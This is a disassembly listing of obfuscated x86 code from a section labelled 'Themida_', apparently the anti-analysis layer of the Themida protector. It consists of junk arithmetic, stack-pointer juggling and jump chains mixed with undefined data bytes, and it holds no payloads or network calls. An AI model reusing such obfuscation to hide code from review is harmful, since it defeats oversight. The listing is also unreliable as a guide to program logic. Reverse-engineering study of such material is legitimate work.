; ---------------------------------------------------------------------------


loc_55C6E9:				; CODE XREF: Themida_:0055C676j
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_555254
; ---------------------------------------------------------------------------
		dd 4C1815Ch, 81000000h,	4C1h, 240C8700h, 0E924248Bh, 0FFFFF6F5h
		dd 5A2434FFh, 5004C483h, 42474FFh, 898AE958h, 0D6F7FFFFh
		dd 0E5685357h, 5B2DDA41h, 0DBF7D3F7h, 7F23F381h, 0DF892710h
		dd 5FFE015Bh, 0C681D6F7h, 0BA8AC3F6h, 4FE9F029h, 1FFFFAFh
		dd 0ED815EF5h, 0AF6AF6E3h, 0B5E9EE21h
		db 0F9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C75B:				; CODE XREF: Themida_:0055C98Cj
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 4E0B48CEh
		jmp	loc_55D9E0
; ---------------------------------------------------------------------------
		db 29h
		dd 0C1405EF0h, 0BD5503E0h, 27F98664h, 0E95DE829h, 0FFFFBCEDh
; ---------------------------------------------------------------------------


loc_55C780:				; CODE XREF: Themida_:0055B0F0j
		xor	ecx, 37512B6Ah
		jmp	loc_55AE71
; ---------------------------------------------------------------------------


loc_55C78B:				; CODE XREF: Themida_:0055D3D7j
		sub	edi, 585E4D02h
		add	edi, 57124B79h
		add	edi, ecx
		sub	edi, 57124B79h
		add	edi, 585E4D02h
		mov	ecx, [esp]
		add	esp, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_558FDB
; ---------------------------------------------------------------------------
		db 81h
		dd 8666CEEEh, 0E451E905h, 47E9FFFFh, 59FFFF60h,	55E18951h
		dd 351271BDh, 8EDC15Dh,	5199C581h, 0CD810AF0h, 12E42E66h
		dd 0ED81D5F7h, 0E412510Ch, 0A0E9E901h, 2CFFFFEEh, 26B3685Eh
		dd 14890000h, 81E28924h, 4C2h, 0BA525100h, 4, 0E95AD189h
		dd 0FFFF9F96h, 0CC0793B9h, 27C98171h, 0C124CF31h, 0E9C107E1h
		dd 0FE7E902h, 0F3BA0000h, 4A3FD972h, 0DD4EC281h, 0D189C944h
		dd 0FFC55CE9h, 148755FFh, 0BC4BE924h, 0CB00FFFFh, 0FFD4EDE9h
		dd 240C89FFh, 42474FFh,	24048F59h, 0FF9A2BE9h, 5BF781FFh
		dd 53352F35h, 5F5356BBh, 0E9DBF708h, 0FFFFEAB6h, 0B371E958h
		dd 0E2D1FFFFh, 0E2C1DAF7h, 9D5DE902h, 8159FFFFh, 8C39C7EEh
		dd 0A4CE817Dh, 814F827Fh, 9C026ACEh, 7A7AE92Bh,	2CACFFFFh
		dd 526804CCh, 88ECB753h, 0CE805BFEh, 80C6FE4Fh,	0EE80B4EEh
		dd 5AF028DBh, 8952D828h, 4C281E2h, 0E9000000h, 0FFFFC78Ah
; ---------------------------------------------------------------------------


loc_55C8C0:				; CODE XREF: Themida_:00559C9Ej
		xor	[esp], eax
		jmp	loc_5537B9
; ---------------------------------------------------------------------------


loc_55C8C8:				; CODE XREF: Themida_:0055C3FAj
		shr	edi, 4
		jmp	loc_5589EC
; ---------------------------------------------------------------------------
		dd 39F768h, 243C8900h, 6DCA6855h, 4D5D2778h, 0ED81DDF7h
		dd 0D6D87ED5h, 565DEF89h, 0FFD146E9h, 21ED81FFh, 1004000h
		dd 920BE9EFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C8FE:				; CODE XREF: Themida_:00553A7Fj
		push	7857h
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		push	eax
		mov	eax, 4
		jmp	loc_55BF63
; ---------------------------------------------------------------------------
		db 5Eh,	83h, 0C4h
		dd 4EC8104h, 89000000h,	68502434h, 551Fh, 0BE243489h, 2F611B1Ah
		dd 4247401h, 5224348Bh,	975E9h,	91409100h, 6625C181h, 0B8507B74h
		dd 4BC62DEEh, 0F703E0C1h, 82EC2DD8h, 0C131B15Eh, 59CA8958h
		dd 51C2814Ah, 0E948F637h, 0FFFFB726h
; ---------------------------------------------------------------------------


loc_55C96C:				; CODE XREF: Themida_:00554913j
		push	esi
		push	ebx
		mov	ebx, 26B470D5h
		and	ebx, 23A32967h
		add	ebx, 1E703F21h
		xor	ebx, 3EED6C2Fh
		and	ebx, 6D1D1F68h
		inc	ebx
		jmp	loc_55C75B
; ---------------------------------------------------------------------------
		db 59h,	8Fh, 4
		dd 73E95C24h, 5AFFFF5Eh, 0AA1C381h, 0C3290127h,	0FF7C14E9h
		dd 0A7E952FFh
		db 70h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C9AF:				; CODE XREF: Themida_:00552F8Cj
		not	ecx
		push	esi
		mov	esi, 15E9450Bh
		jmp	loc_55BF1B
; ---------------------------------------------------------------------------
		dd 77E6CE81h, 0EE814FCAh, 6198332Bh, 4BE95150h
		db 0A7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C9CF:				; CODE XREF: Themida_:00557A5Fj
		mov	eax, ebp
		jmp	loc_553EEE
; ---------------------------------------------------------------------------
		dw 0EC83h
		dd 24248904h, 0FF914FE9h, 2D6A35FFh, 0C32118EEh, 6C14E958h
		dd 0BDB1FFFFh, 75AE9h
		db 0
; ---------------------------------------------------------------------------


loc_55C9F5:				; CODE XREF: Themida_:0055AB76j
		pop	edi
		xchg	edx, [esp]
		mov	esp, [esp]


loc_55C9FC:				; CODE XREF: Themida_:005592D1j
		push	6FB9h
		mov	[esp], ebx
		mov	ebx, [esp]
		sub	esp, 4
		mov	[esp], ecx
		sub	esp, 4
		jmp	loc_554CC5
; ---------------------------------------------------------------------------
		db 0B9h, 6Eh, 58h
		dd 0E9813ED7h, 3ED7586Ch, 5359CB01h, 42474FFh, 24048F5Bh
		dd 0E924248Bh, 0FFFF7B64h
; ---------------------------------------------------------------------------


loc_55CA34:				; CODE XREF: Themida_:005549ADj
		not	esi
		xchg	eax, esi
		jmp	loc_555ADC
; ---------------------------------------------------------------------------


loc_55CA3C:				; CODE XREF: Themida_:0055DA4Dj
		sub	esp, 4
		jmp	loc_5548A8
; ---------------------------------------------------------------------------


loc_55CA44:				; CODE XREF: Themida_:00555A0Aj
		push	1330h
		mov	[esp], eax
		mov	eax, 4
		add	edx, eax
		mov	eax, [esp]
		jmp	loc_553B2B
; ---------------------------------------------------------------------------


loc_55CA5B:				; CODE XREF: Themida_:005562D0j
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		div	cl
		jmp	loc_55CFDE
; ---------------------------------------------------------------------------


loc_55CA6C:				; CODE XREF: Themida_:0055CE19j
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 3842358Eh
		add	eax, 2CEDD16Ch
		jmp	loc_558F6A
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 4AB0F66h, 0BCE99C24h, 5CFFFFA1h, 31241433h, 0D4E92414h
		db 0BAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55CA9B:				; CODE XREF: Themida_:0055811Cj
		pop	ebx
		xor	eax, [esp]
		jmp	loc_552C1B
; ---------------------------------------------------------------------------
		dd 4C4815Ah, 0
		dd 0E94104D0h, 1B1Ch
; ---------------------------------------------------------------------------


loc_55CAB4:				; CODE XREF: Themida_:00557352j
		mov	ecx, 3BB4323Ah
		and	esi, ecx
		pop	ecx
		push	edx
		mov	edx, 50251A0h
		and	esi, edx
		pop	edx
		push	ecx
		mov	ecx, 0E663ADC2h
		sub	esi, ecx
		jmp	loc_55A2D6
; ---------------------------------------------------------------------------


loc_55CAD2:				; CODE XREF: Themida_:005559A3j
		mov	ebp, 522442C4h
		and	eax, ebp
		pop	ebp
		and	eax, 6C147DCAh
		jmp	loc_55A22D
; ---------------------------------------------------------------------------
		dd 0E9D2F74Ah, 0FFFFFD86h, 88C28852h, 0AB8E9D1h, 0CE290000h
		dd 786DE959h, 8F64FFFFh, 5D08E902h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55CB06:				; CODE XREF: Themida_:00557FC4j
		inc	esi
		xor	esi, 0C023E802h
		not	esi
		jmp	loc_55982E
; ---------------------------------------------------------------------------
		dd 2BD55h, 0C2810000h, 6A065B4Eh, 0EA81EA01h, 6A065B4Eh
		dd 2414875Dh, 240CD35Ch, 5CD8E99Ch, 205FFFFh, 87000000h
		dd 248B2404h, 0EC48E924h, 489FFFFh, 0CE37E924h,	2BBFFFFh
		dd 1000000h, 0FF525BDAh, 0E9042474h, 0FFFF79F9h, 3C8BF829h
		dd 4C48124h, 1000000h, 9372E9D8h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55CB72:				; CODE XREF: Themida_:0055C5E6j
		xchg	esi, [esp]
		jmp	loc_55BA9C
; ---------------------------------------------------------------------------
		dw 0E981h
		dd 2C7F45B7h, 5A2434FFh, 4C481h, 0C330000h, 19ECE924h
		dd 0C330000h, 3C895C24h, 6EB96824h, 0F1E90000h,	83000000h
		dd 0F8E902E9h, 28000009h, 5966EBh, 70C380D3h, 24148B66h
		dd 2C481h, 0C3800000h, 80C30026h, 0EB8026EBh, 0C0B60F1Eh
		dd 0E98734FFh, 0FFFF9744h, 81E38953h, 4C3h, 4EB8300h, 5C241C87h
		dd 5F242C89h, 5FF9315Dh, 81E38953h, 4C3h, 9CB95100h, 81045C76h
		dd 5C7698F1h, 59CB2904h, 5C241C87h, 81243C89h, 0AE62404h
		dd 148B53E5h, 25D16824h, 34890000h, 938CE924h, 2C89FFFFh
		dd 3F88BD24h, 6C315271h, 0E95D0424h, 0FFFFBE54h, 0E904C483h
		dd 0FFFFA9A9h, 5A07EE81h, 3B6828C4h, 8900006Fh,	64B9240Ch
		dd 0E91A0E75h, 0FFFFFEA2h
; ---------------------------------------------------------------------------


loc_55CC54:				; CODE XREF: Themida_:0055D4A7j
		shl	ecx, 8
		sub	ecx, 0EADEF700h
		and	eax, ecx
		mov	ecx, [esp]
		push	edx
		push	esp
		jmp	loc_554D29
; ---------------------------------------------------------------------------
		db 0BDh, 49h, 11h
		dd 0E581013Ch, 614585Dh, 0F0ED814Dh, 811EB16Dh,	0A657F1F5h
		dd 7EED8115h, 812C1151h, 0E1C561C5h, 0E9E92990h, 0D1Eh
		dd 24048F54h, 4240481h,	5F000000h, 4C781h, 64E90000h, 68FFFFACh
		dd 52435FB9h, 0FF98BEE9h, 243489FFh, 76E0E954h,	5258FFFFh
		dd 0D2F61EB2h, 8047EA80h, 0D10026F2h, 0FF609DE9h, 1BD4BEFFh
		dd 0F1016E02h, 776CE95Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55CCDE:				; CODE XREF: Themida_:0055784Dj
		xor	ebx, 1C2635A9h
		push	ebx
		jmp	loc_556802
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 1287E9h, 7EB15100h, 0E9C5B753h, 0FFFF734Bh, 6624248Bh
		dd 83240C8Bh, 0C8904ECh, 55D36824h, 24890000h, 24048124h
		dd 4, 0A4B3E959h, 9468FFFFh, 89000025h,	8852240Ch, 5AF188C6h
		dd 0CF885350h, 1C8BFC88h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	ebx
		push	28h
		pop	ebx
		add	ebx, edi
		mov	[ebx], ah
		pop	ebx
		jmp	loc_55A382
; ---------------------------------------------------------------------------


loc_55CD5D:				; CODE XREF: Themida_:0055BA0Fj
		mov	ebp, 42653118h
		jmp	loc_558886
; ---------------------------------------------------------------------------


loc_55CD67:				; CODE XREF: Themida_:00556B58j
		pop	edi
		mov	edi, edx
		pop	edx
		not	edi
		and	edi, 20442F7h
		dec	edi
		add	edi, 0C844ED15h
		add	ebx, edi
		jmp	loc_556504
; ---------------------------------------------------------------------------


loc_55CD81:				; CODE XREF: Themida_:0055E2D3j
		add	eax, 4
		add	eax, 4
		jmp	loc_55A274
; ---------------------------------------------------------------------------
		dw 0EA81h
		dd 4, 5C241487h, 83241489h, 8F5404ECh, 0E9522404h, 0FFFFBBF7h
		dd 7C76C281h, 685B21A7h, 1683h,	0FFACC5E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55CDB9:				; CODE XREF: Themida_:0055A3A4j
		mov	eax, 0E698D27Ah
		add	eax, esi
		pop	esi
		sub	eax, 74831FD7h
		dec	eax
		neg	eax
		sub	eax, 0EE8E9B0h
		sub	edx, eax
		jmp	loc_556390
; ---------------------------------------------------------------------------
		db 89h,	0E7h, 53h
		dd 0FFABB1E9h, 685F54FFh, 3ED8h, 0B9240C89h, 2D1255AAh
		dd 55AEF181h, 0CF012D12h, 83240C8Bh, 0F0E904C4h
		db 0F6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55CDFF:				; CODE XREF: Themida_:0055C54Bj
		xor	dword ptr [esp], 67F07E84h
		push	dword ptr [esp]
		pop	eax
		push	edi
		mov	edi, esp
		add	edi, 4
		push	ecx
		mov	ecx, 17502644h
		jmp	loc_55CA6C
; ---------------------------------------------------------------------------
		dw 0E981h
		dd 43682D6Fh, 0E981E1D1h, 9654E49h, 62E3E181h, 0C1815773h
		dd 6103668Fh, 8959CF31h, 0C6815FFAh, 0AE43B92h,	0EE81D601h
		dd 0AE43B92h, 8324148Bh, 0BB5304C4h, 2,	875BDE01h, 248B2434h
		dd 66F9F624h, 66CCB60Fh, 66715568h, 66240C89h, 0E9C8B60Fh
		dd 7C4h
; ---------------------------------------------------------------------------


loc_55CE78:				; CODE XREF: Themida_:0055D873j
		pop	ebx
		push	5258h
		mov	[esp], edi
		push	2DDEh
		mov	[esp], ecx
		push	0F39h
		mov	[esp], ebp
		mov	ebp, 1
		push	ebp
		mov	ecx, [esp]
		add	esp, 4
		pop	ebp
		push	49FDh
		jmp	loc_5529B3
; ---------------------------------------------------------------------------


loc_55CEAB:				; CODE XREF: Themida_:00554194j
		mov	ebx, esp
		add	ebx, 4
		push	ecx
		mov	ecx, 4
		add	ebx, ecx
		jmp	loc_556CF1
; ---------------------------------------------------------------------------


loc_55CEC0:				; CODE XREF: Themida_:00556C40j
		pop	ebp
		pop	esi
		add	[esp+4], edi
		mov	edi, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		push	ebx
		mov	ebx, 4
		add	edx, ebx
		pop	ebx
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		mov	eax, [esp]
		jmp	loc_55E731
; ---------------------------------------------------------------------------
		db 81h,	0EDh, 99h
		dd 4D4A8719h, 0FFA158E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55CEF9:				; CODE XREF: Themida_:00552DD3j
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_553563
; ---------------------------------------------------------------------------


loc_55CF0A:				; CODE XREF: Themida_:00558C1Bj
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], eax
		push	dword ptr [esp+4]
		jmp	loc_555993
; ---------------------------------------------------------------------------
		dw 0E589h
		dd 4C581h, 0ED830000h, 0EE5DE902h, 8952FFFFh, 5AD689CAh
		dd 0FFF949E9h, 58D4E9FFh, 34FFFFFFh, 8746E924h,	0D831FFFFh
		dd 0FFB90AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55CF49:				; CODE XREF: Themida_:005569E2j
		mov	[esp], esi
		push	ebp
		push	ebx
		mov	ebx, 25007BD4h
		mov	ebp, 25007BD8h
		sub	ebp, ebx
		pop	ebx
		jmp	loc_559427
; ---------------------------------------------------------------------------
		dd 5704C483h, 8D556BBFh, 0EC14E90Bh, 0E95CFFFFh, 0FFFF6C12h
; ---------------------------------------------------------------------------


loc_55CF74:				; CODE XREF: Themida_:005557C7j
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	ebx
		mov	ebx, 55B30E43h
		shr	ebx, 2
		shr	ebx, 7
		push	ecx
		sub	esp, 4
		mov	[esp], edi
		push	edx
		jmp	loc_552EBC
; ---------------------------------------------------------------------------
		db 58h,	8Fh, 4
		dd 24248B24h, 0FF9DE2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55CFA9:				; CODE XREF: Themida_:00555E50j
		push	67D1h
		jmp	loc_553E8B
; ---------------------------------------------------------------------------
		db 0B4h
		dd 0F6D4F67Ah, 92CC80DCh, 0DCF6D4F6h, 885BC480h, 0EB69E9E1h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55CFCA:				; CODE XREF: Themida_:0055395Cj
		add	edx, 2
		xchg	edx, [esp]
		mov	esp, [esp]
		test	cl, al
		pushf
		jmp	loc_556D0D
; ---------------------------------------------------------------------------


loc_55CFDE:				; CODE XREF: Themida_:0055CA67j
		movzx	cx, ah
		push	esi
		mov	esi, esp
		add	esi, 4
		push	edi
		mov	edi, 2FD33288h
		inc	edi
		add	edi, 0D02CCD79h
		add	esi, 6752463Dh
		sub	esi, 305D5CF6h
		sub	esi, edi
		add	esi, 305D5CF6h
		push	edx
		jmp	loc_557076
; ---------------------------------------------------------------------------
		dw 0D101h
		dd 9C9C181h, 815A4C29h,	0BDBA27C1h, 59CF01B3h, 0E78957FDh
		dd 4C781h, 0EF810000h, 4, 5C243C87h, 0CE7E9h, 0AD2D5A00h
		dd 2D1C7020h, 72321302h, 0FF9AADE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55D04D:				; CODE XREF: Themida_:0055AB3Ej
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], edx
		push	ebx
		mov	edx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	ecx
		mov	ecx, 4
		add	ebx, ecx
		mov	ecx, [esp]
		add	esp, 4
		xchg	ebx, [esp]
		pop	esp
		push	edi
		jmp	loc_556860
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 0B6F5E900h, 77E9FFFFh,	66FFFF57h, 0C0B60F5Ah
		dd 0FF724DE9h, 0C8B66FFh, 0E0895024h, 4BB53h, 0D8010000h
		dd 981CE95Bh, 0EB81FFFFh, 2262755Dh, 565BDE01h,	42474FFh
		dd 8124348Bh, 4C4h, 93C9E900h, 48BFFFFh, 0DC32E924h, 5259FFFFh
		dd 4BAh, 0E9D00100h, 0FFFF6341h, 4C55C905h, 74AA6832h
		dd 1C890000h, 7A8BB24h,	0F381009Eh, 597661D3h, 0E61C4805h
		dd 69B3E979h, 148BFFFFh, 70DD6824h, 93E90000h
		db 0BEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55D117:				; CODE XREF: Themida_:0055E413j
		xor	al, dl
		pop	dx
		sub	ch, al
		pop	eax
		sub	ch, ah
		add	ch, 62h
		mov	ax, [esp]
		add	esp, 2
		sub	al, 29h
		jmp	loc_55953D
; ---------------------------------------------------------------------------
		dd 0E904EC83h, 0FFFFC20Ch
; ---------------------------------------------------------------------------


loc_55D13C:				; CODE XREF: Themida_:00556061j
		pop	esp
		push	3B7Fh
		mov	[esp], ebp
		mov	ebp, 3E30342Fh
		jmp	loc_554910
; ---------------------------------------------------------------------------
		db 0C0h
		dd 0ADE905E1h, 88FFFFC1h, 0AFE95911h
		db 56h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55D15F:				; CODE XREF: Themida_:0055B82Cj
		xor	ebx, edx
		not	edx
		push	206Fh
		mov	[esp], ebx
		push	ecx
		mov	ecx, esp
		jmp	loc_55BDEB
; ---------------------------------------------------------------------------
		db 89h
		dd 0BD552424h, 4, 0FFD12DE9h, 0E38953FFh, 4C381h, 0EB810000h
		dd 4, 5C241C87h, 0FF8A16E9h, 0C8B66FFh,	5E96E924h, 0AD66FFFFh
		dd 0FF8B6EE9h, 0E9028FFFh, 0FFFF565Eh, 5304C483h, 42474FFh
		dd 24048F5Bh, 8924248Bh, 0BBE92404h, 89FFFF5Dh,	0E389241Ch
		dd 4BF57h, 13E90000h, 83FFFFEDh, 48F04C4h, 0D456E924h
		dd 0BF57FFFFh, 4, 4247C01h, 0FFDCE8E9h,	242C87FFh, 0FF9E89E9h
		dd 5A685EFFh, 8900006Eh, 6BE9243Ch, 66FFFFB5h, 0E987048Fh
		dd 0FFFF96D3h, 8904EC83h, 0E589242Ch, 4C581h, 0B9510000h
		dd 4B26354Eh, 354ABB53h, 0EE94B26h, 8B000005h, 0D7E92424h
		dd 89FFFF55h, 0CFE9306Ah, 89FFFF7Fh, 4812424h, 424h, 0C6815E00h
		dd 4, 4BB53h, 0E9550000h, 0FFFFB6BCh, 3332A02Dh, 5D0F766h
		dd 0C4A6FCFBh, 0BB58C789h, 4F5A0191h, 3C8BFB01h, 0FE0DE924h
		dd 1489FFFFh, 0F6E95024h, 83FFFF82h, 895604C4h,	4C681E6h
		dd 55000000h, 4BDh, 5DEE2900h, 0E9243487h, 0FFFFD640h
		dd 48BE388h, 4C48124h, 88000000h, 34FF871Ch, 9C30E924h
		dd 0E289FFFFh, 4C281h, 0C2830000h, 24148704h, 0EE815E5Ch
		dd 2F611B1Ah, 21906857h, 34890000h, 0FA895F24h,	659EE95Fh
		dd 815BFFFFh, 4C3h, 4EC8300h, 0A1FE9h, 3CABA00h, 0C28171C4h
		dd 9FCC51DCh, 9C9E981h,	0FE94C29h
		db 0FDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55D303:				; CODE XREF: Themida_:00554D3Ej
		xchg	edx, [esp]
		mov	esp, [esp]
		jmp	loc_55DA2C
; ---------------------------------------------------------------------------
		dw 0C281h
		dd 4, 83BA5251h, 812A7124h, 55589DCAh, 4EAC15Fh, 74A5C281h
		dd 0B7E96477h, 81000003h, 0B17769F3h, 89D6E9A9h, 2BBFFFFh
		dd 1000000h, 2434FFDDh,	0FF94DFE9h, 0EA8059FFh,	0B1516601h
		dd 8811E9D7h, 0C1FEFFFFh, 81FFE980h, 2ECh, 1C896600h, 1CB05024h
		dd 124CE9h
		db 0
; ---------------------------------------------------------------------------


loc_55D36D:				; CODE XREF: Themida_:00556BE0j
		mov	ecx, [esp]
		jmp	loc_554FF3
; ---------------------------------------------------------------------------


loc_55D375:				; CODE XREF: Themida_:00556780j
		pop	ebx
		push	esi
		push	ebp
		push	6D344BC1h
		jmp	loc_554D0E
; ---------------------------------------------------------------------------
		dw 0D388h
		dd 0FF5ABAE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55D389:				; CODE XREF: Themida_:00557D85j
		push	cx
		pushf
		jmp	loc_55280E
; ---------------------------------------------------------------------------
		db 0BDh, 4, 0
		dd 0EA290000h, 0FFEC47E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55D39D:				; CODE XREF: Themida_:0055372Aj
		mov	ebx, [esp]
		jmp	loc_55547A
; ---------------------------------------------------------------------------


loc_55D3A5:				; CODE XREF: Themida_:00553367j
		add	edx, 4A32602Bh
		add	edx, 120266CDh
		mov	ecx, [edx]
		jmp	loc_55C5B7
; ---------------------------------------------------------------------------
		dd 24048B66h, 8904EC83h, 0E2892414h, 0FF7F1EE9h, 0C0EB80FFh
		dd 0FFED16E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55D3D1:				; CODE XREF: Themida_:00558F7Bj
		xor	ecx, 4DDFE0B2h
		jmp	loc_55C78B
; ---------------------------------------------------------------------------


loc_55D3DC:				; CODE XREF: Themida_:0055AD2Bj
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_55B726
; ---------------------------------------------------------------------------
		dw 0CB01h
		dd 1B70BF57h, 814F799Eh, 9F1989F7h, 0F116E960h,	6B2CFFFFh
		dd 0E92434FFh, 0FFFFF69Ch
; ---------------------------------------------------------------------------


loc_55D408:				; CODE XREF: Themida_:00558200j
		push	esi
		mov	esi, 400h
		mov	ebp, esi
		pop	esi
		and	eax, ebp
		push	dword ptr [esp]
		jmp	loc_5528D4
; ---------------------------------------------------------------------------
		db 5Eh
		dd 0FFBF20E9h, 4EC83FFh, 89241C89h, 0B95152E3h,	536B1FD0h
		dd 0C57BB53h, 0FDE92915h
		db 6Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55D43B:				; CODE XREF: Themida_:0055C288j
		inc	esi
		xor	esi, 7DF857A7h
		dec	esi
		sub	esi, 598E5A59h
		xor	esi, 0C73ED3Fh
		add	edi, esi
		pop	esi
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_55BE6B
; ---------------------------------------------------------------------------
		db 89h,	3Ch, 24h
		dd 2BFh, 5EC18100h, 17D0245h, 0B292E9F9h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55D472:				; CODE XREF: Themida_:0055BE00j
		mov	edi, esp
		jmp	loc_556FF4
; ---------------------------------------------------------------------------


loc_55D479:				; CODE XREF: Themida_:00557255j
		sub	dword ptr [esp], 5A06643Eh
		mov	eax, [esp]
		jmp	loc_554332
; ---------------------------------------------------------------------------
		dd 558C689h, 3AD215EFh,	0FFD07AE9h, 5BDA01FFh, 0EF5FC281h
		dd 0D301F927h, 0FFE69CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55D4A5:				; CODE XREF: Themida_:00556DDAj
		not	ecx
		jmp	loc_55CC54
; ---------------------------------------------------------------------------
		dd 0EC835D5Dh, 24348904h, 4BEh,	5EF50100h, 2BA52h, 0B8500000h
		dd 5EC223E1h, 0FF5694E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55D4CD:				; CODE XREF: Themida_:00553E91j
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], esi
		mov	eax, [esp]
		push	12C4h
		mov	[esp], ecx
		push	esp
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		jmp	loc_559904
; ---------------------------------------------------------------------------
		db 66h
		dd 8124048Bh, 4ECh, 24048900h, 42E9E089h, 1FFFFB5h, 9DBE9EEh
		dd 0FF660000h, 52F0E932h, 0FA88FFFFh, 148BD088h, 4C48324h
		dd 0C2885253h, 525AD788h, 0FF59C8E9h, 604FFh, 0E9062CD8h
		dd 0FFFF82A5h
; ---------------------------------------------------------------------------


loc_55D540:				; CODE XREF: Themida_:00558B4Cj
		mov	[esp], esi
		jmp	loc_554F71
; ---------------------------------------------------------------------------
		dd 61430548h, 0C3015FD6h, 4EC8358h, 0BE243489h,	2, 348BF301h
		dd 0E9E95624h, 0C0FFFFC3h, 0D7F602EFh, 0E91AB050h, 0FFFF7C08h
		dd 25ED8158h, 1267615h,	25C581C5h, 8B267615h, 54572404h
		dd 4C7815Fh, 83000000h,	3C8704C7h, 2C875C24h, 4FE5C24h
		dd 6BE99C24h, 87FFFF52h, 248B240Ch, 6078E924h, 535AFFFFh
		dd 51CE8852h, 0EF88F588h, 6826E959h, 0C383FFFFh, 241C8704h
		dd 0E189515Ch, 4C181h, 0C1810000h, 4, 5C240C87h, 5E08950h
		dd 4, 405h, 74FF5000h, 8F580424h, 248B2404h, 4C48324h
		dd 0E9240431h, 0FFFF5212h, 240C8B66h, 53E78957h, 0E61B951h
		dd 0CB894366h, 5DEB8159h, 8143660Eh, 0AF192CC7h, 9E0BE969h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55D61E:				; CODE XREF: Themida_:00558C5Aj
		sub	edx, 7A262B7Fh
		add	edx, edi
		jmp	loc_556893
; ---------------------------------------------------------------------------
		db 53h
		dd 0FF6C72E9h, 49BB53FFh, 0E92CC64Ch, 0FFFFEE22h, 0E99C5166h
		dd 0FFFFF17Eh, 0C546E95Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55D64A:				; CODE XREF: Themida_:0055A3F8j
		push	esi
		sub	esp, 4
		jmp	loc_558E3B
; ---------------------------------------------------------------------------
		db 68h
		dd 7A141A5Ch, 0BD555658h, 3EC3136Eh, 0FF56DBE9h, 64B652FFh
		dd 91E9h, 241C8900h, 0B26D22BBh, 9E10E923h, 0D6F7FFFFh
		dd 0F681D6F7h, 5B315E26h, 3E8FBD55h, 9E91F8Fh, 0B7FFFFDBh
		dd 80DFF6C1h, 0F930EDEFh, 8BC8005Bh, 0C483240Ch, 27776804h
		dd 0C890000h, 0E9C6B524h, 0FFFF857Ch, 8F04C483h, 615C2404h
		dd 830DE99Dh, 0F281FFFFh, 2D251137h, 1FD4F281h,	0D4E934F8h
		db 0E6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55D6CF:				; CODE XREF: Themida_:00555C8Fj
		push	dword ptr [esp]
		jmp	loc_55BA2B
; ---------------------------------------------------------------------------
		db 5Dh
		dd 0E6BE9h, 0C8B6600h, 0A4F5E924h, 8142FFFFh, 6ECC6BF2h
		dd 0E9D1896Ch, 0FFFFD65Bh, 2404215Ch, 8795E99Ch, 0F428FFFFh
		dd 0FFE2885Ah, 83582434h, 26E904C4h, 56FFFF54h,	2B5CDDBEh
		dd 0A8C68113h, 81387E47h, 0E11977C6h, 9CE68163h, 5007A83Eh
		dd 0D83896B8h, 0A488E9B9h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55D732:				; CODE XREF: Themida_:005547D3j
		push	ebx
		push	61F3448h
		jmp	loc_55DB0F
; ---------------------------------------------------------------------------
		db 81h,	0C1h, 0F4h
		dd 0E964415Ah, 0FFFFE401h, 4245C01h, 9FFEE95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55D752:				; CODE XREF: Themida_:0055AAC1j
		pop	esp
		mov	[esp], edx
		push	29AB783Dh
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		not	edx
		neg	edx
		shl	edx, 4
		xor	edx, 9AB783E1h
		jmp	loc_5549B8
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	ecx
		mov	ecx, 4
		jmp	loc_553EAD
